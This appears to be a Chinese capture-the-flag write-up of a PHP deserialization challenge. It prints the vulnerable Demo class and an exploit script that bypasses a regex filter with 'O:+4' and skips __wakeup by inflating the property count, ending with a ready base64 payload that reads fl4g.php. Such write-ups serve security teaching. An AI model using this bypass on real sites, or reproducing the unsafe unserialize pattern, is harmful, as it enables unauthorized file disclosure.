代码审计
<?php
//创建类Demo
class Demo {
//声明私有属性file
private $file = 'index.php';
//接收变量并赋给私有属性file
public function __construct($file) {
$this->file = $file;
}
//高亮显示私有属性file并输出
function __destruct() {
echo @highlight_file($this->file, true);
}
//魔法函数wakeup,使私有属性file一定是index.php
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
//var存在且不为NULL
if (isset($_GET['var'])) {
//对var进行base64解码
$var = base64_decode($_GET['var']);
//使用preg_match函数对var过滤(var不能是"o/c:[数字]:" 例如:"o:1:")
//如果能绕过,它会将var反序列化
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
将类Demo复制下来备用
接下来的操作:
1.实例化Demo
2.序列化
4.改下序列化后的结果,绕过俩函数
3.base64编码
<?php
//复制的上面的类
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
//实例化
$A=new Demo('fl4g.php');
//序列化
$C=serialize($A);
//输出看一下
var_dump($C);
//把4改为+4绕过preg_match函数
$C=str_replace('O:4','O:+4',$C);
//把1改为大于1的整数绕过wakeup函数
$C=str_replace('1','2',$C);
//输出看一下改之后的变量$C
var_dump($C);
//输出base64编码后的变量$C
var_dump(base64_encode($C));
?>
最后get传参var,它的值就是最后得到的baes64编码
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
5868

被折叠的 条评论
为什么被折叠?



